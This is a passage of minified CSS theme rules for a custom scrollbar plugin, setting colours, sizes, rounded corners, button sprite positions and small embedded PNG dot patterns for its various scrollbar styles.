0 }.mCS-light-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-16px -20px }.mCS-light-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-20px -40px }.mCS-light-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-20px -56px }.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px }.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px }.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-96px 0 }.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-96px -20px }.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-100px -40px }.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-100px -56px }.mCS-light-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.1) }.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:2px }.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100% }.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:2px;margin:7px auto }.mCS-dark-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15) }.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75) }.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px 0 }.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -20px }.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -40px }.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -56px }.mCS-rounded.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.15) }.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger,.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger,.mCS-rounded.mCSB_scrollTools .mCSB_dragger{height:14px }.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:14px;margin:0 1px }.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger{width:14px }.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{height:14px;margin:1px 0 }.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{width:16px;height:16px;margin:-1px 0 }.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:4px }.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{height:16px;width:16px;margin:0 -1px }.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:4px;margin:6px 0 }.mCS-rounded.mCSB_scrollTools .mCSB_buttonUp{background-position:0 -72px }.mCS-rounded.mCSB_scrollTools .mCSB_buttonDown{background-position:0 -92px }.mCS-rounded.mCSB_scrollTools .mCSB_buttonLeft{background-position:0 -112px }.mCS-rounded.mCSB_scrollTools .mCSB_buttonRight{background-position:0 -128px }.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75) }.mCS-rounded-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15) }.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px -72px }.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -92px }.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -112px }.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -128px }.mCS-rounded-dots-dark.mCSB_scrollTools_vertical .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_vertical .mCSB_draggerRail{width:4px }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail{background-color:transparent;background-position:center }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAANElEQVQYV2NkIAAYiVbw//9/Y6DiM1ANJoyMjGdBbLgJQAX/kU0DKgDLkaQAvxW4HEvQFwCRcxIJK1XznAAAAABJRU5ErkJggg==);background-repeat:repeat-y;opacity:.3;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)" }.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail{height:4px;margin:6px 0;background-repeat:repeat-x }.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonUp{background-position:-16px -72px }.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonDown{background-position:-16px -92px }.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonLeft{background-position:-20px -112px }.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonRight{background-position:-20px -128px }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYV2NkIAAYSVFgDFR8BqrBBEifBbGRTfiPZhpYjiQFBK3A6l6CvgAAE9kGCd1mvgEAAAAASUVORK5CYII=) }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-96px -72px }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-96px -92px }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-100px -112px }.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-100px -128px }.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-repeat:repeat-y;background-image:-moz-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-webkit-gradient(linear,left top,right top,color-stop(0,rgba(255,255,255,.5)),color-stop(100%,rgba(255,255,255,0)));background-image:-webkit-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-o-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-ms-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:linear-gradient(to right,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%) }.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{background-repeat:repeat-x;background-image:-moz-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,rgba(255,255,255,.5)),color-stop(100%,rgba(255,255,255,0)));background-image:-webkit-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-o-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-ms-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:linear-gradient(to bottom,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%) }.mCS-3d-dark.mCSB_scrollTools_vertical .mCSB_dragger,.mCS-3d.mCSB_scrollTools_vertical .mCSB_dragger{height:70px }.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger{width:70px }.mCS-3d-dark.mCSB_scrollTools,.mCS-3d.mCSB_scrollTools{opacity:1;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)" }.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_draggerRail{-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px }.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools .mCSB_draggerRail{width:8px;background-color:#000;background-color:rgba(0,0,0,.2);box-shadow:inset 1px 0 1px rgba(0,0,0,.5),inset -1px 0 1px rgba(255,255,255,.2) }.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#555 }.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:8px }.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:8px;margin:4px 0;box-shadow:inset 0 1px 1px rgba(0,0,0,.5),inset 0 -1px 1px rgba(255,255,255,.2) }.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:8px;margin:4px auto }.mCS-3d.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px }.mCS-3d.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px }.mCS-3d.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px }.mCS-3d.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px }.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);box-shadow:inset 1px 0 1px rgba(0,0,0,.1) }.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail{box-shadow:inset 0 1px 1px rgba(0,0,0,.1) }.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px }.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px }.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px }.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px }.mCS-3d-thick-dark.mCSB_scrollTools,.mCS-3d-thick.mCSB_scrollTools{opacity:1;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)" }.mCS-3d-thick-dark.mCSB_scrollTools,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer,.mCS-3d-thick.mCSB_scrollTools,.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer{-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px }.mCSB_inside+.mCS-3d-thick-dark.mCSB_scrollTools_vertical,.mCSB_inside+.mCS-3d-thick.mCSB_scrollTools_vertical{right:1px }.mCS-3d-thick-dark.mCSB_scrollTools_vertical,.mCS-3d-thick.mCSB_scrollTools_vertical{box-shadow:inset 1px 0 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.5) }.mCS-3d-thick-dark.mCSB_scrollTools_horizontal,.mCS-3d-thick.mCSB_scrollTools_horizontal{bottom:1px;box-shadow:inset 0 1px 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.5) }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;box-shadow:inset 1px 0 0 rgba(255,255,255,.4);width:12px;margin:2px;position:absolute;height:auto;top:0;bottom:0;left:0;right:0 }.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 0 1px 0 rgba(255,255,255,.4);height:12px;width:auto }.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#555 }.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer{background-color:#000;background-color:rgba(0,0,0,.05);box-shadow:inset 1px 1px 16px rgba(0,0,0,.1) }.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent }.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px }.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px }.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px }.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px }.mCS-3d-thick-dark.mCSB_scrollTools{box-shadow:inset 0 0 14px rgba(0,0,0,.2) }.mCS-3d-thick-dark.mCSB_scrollTools_horizontal{box-shadow:inset 0 1px 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.2) }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 1px 0 0 rgba(255,255,255,.4),inset -1px 0 0 rgba(0,0,0,.2) }.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 0 1px 0 rgba(255,255,255,.4),inset 0 -1px 0 rgba(0,0,0,.2) }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#777 }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer{background-color:#fff;background-color:rgba(0,0,0,.05);box-shadow:inset 1px 1px 16px rgba(0,0,0,.1) }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-minimal-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-minimal.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px }.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px }.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical,.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical{right:0;margin:12px 0 }.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools.mCSB_scrollTools_horizontal{bottom:0;margin:0 12px }.mCS-dir-rtl>.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical,.mCS-dir-rtl>.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical{left:0;right:auto }.mCS-minimal-dark.mCSB_scrollTools_vertical .mCSB_dragger,.mCS-minimal.mCSB_scrollTools_vertical .mCSB_dragger{height:50px }.mCS-minimal-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-minimal.mCSB_scrollTools_horizontal .mCSB_dragger{width:50px }.mCS-minimal.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.2);filter:"alpha(opacity=20)";-ms-filter:"alpha(opacity=20)" }.mCS-minimal.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-minimal.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.5);filter:"alpha(opacity=50)";-ms-filter:"alpha(opacity=50)" }.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.2);filter:"alpha(opacity=20)";-ms-filter:"alpha(opacity=20)" }.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.5);filter:"alpha(opacity=50)";-ms-filter:"alpha(opacity=50)" }.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools .mCSB_draggerRail{width:6px;background-color:#000;background-color:rgba(0,0,0,.2) }.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px }.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:6px;margin:5px 0 }.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:12px }.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:12px;margin:2px 0 }.mCS-light-3.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px }.mCS-light-3.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px }.mCS-light-3.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px }.mCS-light-3.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px }.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75) }.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-dark-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1) }.mCS-dark-3.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px }.mCS-dark-3.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px }.mCS-dark-3.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px }.mCS-dark-3.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-inset.mCSB_scrollTools .mCSB_draggerRail{width:12px;background-color:#000;background-color:rgba(0,0,0,.2) }.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-inset.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px;margin:3px 5px;position:absolute;height:auto;top:0;bottom:0;left:0;right:0 }.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-inset.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{height:6px;margin:5px 3px;position:absolute;width:auto;top:0;bottom:0;left:0;right:0 }.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-inset.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:12px;margin:2px 0 }.mCS-inset-2.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonUp,.mCS-inset.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px }.mCS-inset-2.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonDown,.mCS-inset.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px }.mCS-inset-2.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset-3.mCSB_scrollTools .mCSB_buttonLeft,.mCS-inset.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px }.mCS-inset-2.mCSB_scrollTools 